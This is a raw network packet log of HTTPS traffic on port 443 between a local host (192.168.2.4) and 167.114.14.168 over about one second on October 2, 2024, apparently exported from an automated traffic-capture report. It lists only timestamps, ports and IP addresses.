Oct 2, 2024 06:10:28.307018042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.378293991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.378314018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.378398895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.378432989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.378609896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.378629923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.378665924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.378671885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.378693104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.378716946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.380825996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.380845070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.380883932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.380889893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.380901098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.381789923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.382560968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.382575989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.382625103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.382631063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.382946968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.382965088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.383030891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.383037090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.384850025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.384865046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.384932995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.384939909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.385629892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.397208929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.397224903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.397270918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.397301912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.397315979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.397344112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.397639036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.397655010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.397689104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.397695065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.397718906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.397736073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.468914032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.468943119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.468990088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.469000101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.469029903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.469049931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.469376087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.469393969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.469434977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.469439983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.469464064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.469485998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.471987963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.472003937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.472043991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.472049952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.472079039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.472096920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.473242998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.473258972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.473309040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.473314047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.473576069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.473706007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.473720074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.473757982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.473762989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.473787069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.473805904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.475527048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.475543022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.475594044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.475600004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.477869034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.487703085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.487720966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.487791061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.487795115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.488306999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.488327980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.488364935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.488369942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.488382101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.488409996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.559695959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.559715986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.559833050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.559848070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.560019970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.560041904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.560062885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.560070038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.560116053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.560195923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.562522888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.562565088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.562604904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.562609911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.562678099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.563894033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.563910007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.564039946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.564045906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.564153910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.564368010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.564382076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.564460039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.564465046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.564685106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.566207886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.566224098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.566317081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.566322088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.566426992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.578536987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.578555107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.578588009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.578594923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.578636885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.578939915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.578955889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.579029083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.579032898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.579149008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.650572062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.650589943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.650636911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.650646925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.650676012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.650840044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.650950909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.650965929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.651029110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.651034117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.651299000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.653192997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.653209925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.653291941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.653297901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.653402090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.654643059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.654658079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.654700041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.654706955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.654728889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.654737949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.655102968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.655119896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.655158043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.655163050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.655181885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.655209064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.656909943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.656925917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.656981945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.656987906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.657840967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.669251919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.669266939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.669383049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.669390917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.669591904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.669610977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.669612885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.669616938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.669802904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.741512060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.741530895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.741586924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.741596937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.741606951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.741637945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.741753101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.741771936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.741801023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.741806030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.741830111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.741846085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.743979931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.743999004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.744029999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.744035959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.744067907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.744082928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.745274067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.745291948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.745342016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.745346069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.745369911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.745384932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.745780945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.745795965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.745840073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.745846987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.745862961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.745877981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.748684883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.748701096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.748734951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.748744965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.748758078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.748779058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.759969950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.759987116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.760015965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.760107040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.760111094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.760169983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.760422945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.760440111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.760483027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.760488033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.760510921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.760524988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.831923008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.831950903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.832032919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.832041979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.832067966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.832093954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.832356930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.832374096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.832428932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.832434893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.833822966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.834642887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.834671974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.834707975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.834712982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.834759951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.835958004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.835977077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.836044073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.836050034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.836162090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.836399078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.836416006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.836472034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.836477995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.836518049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.839436054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.839452028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.839510918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.839517117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.841711998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.850867033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.850883007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.850959063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.850965977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.851135969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.851156950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.851187944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.851192951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.851224899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.851238966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.874537945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.922601938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.922625065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.923115015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.923156977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.923172951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.923197031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.923237085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.925251007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.925266981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.925338030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.925347090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.926687956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.926707029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.926764965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.926769972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.927252054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.927265882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.927301884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.927311897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.927323103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.930016994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.930037022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.930078030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.930083990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.930098057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.941251040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.941267014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.941344023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.941351891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.941766977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.941786051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.941842079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.941848993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.964658022 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:28.992396116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.013300896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.013319016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.013397932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.013407946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.013571024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.013807058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.013823032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.013861895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.013868093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.015906096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.015923977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.015965939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.015973091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.015989065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.016021013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.017366886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.017394066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.017427921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.017432928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.017452955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.017472982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.017887115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.017903090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.017950058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.017956018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.021656036 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.021656990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.021668911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.021698952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.021708012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.021738052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.021743059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.021754026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.021781921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.023741961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.032155037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.032171965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.032210112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.032216072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.032229900 CEST	49744	443	192.168.2.4	167.114.14.168
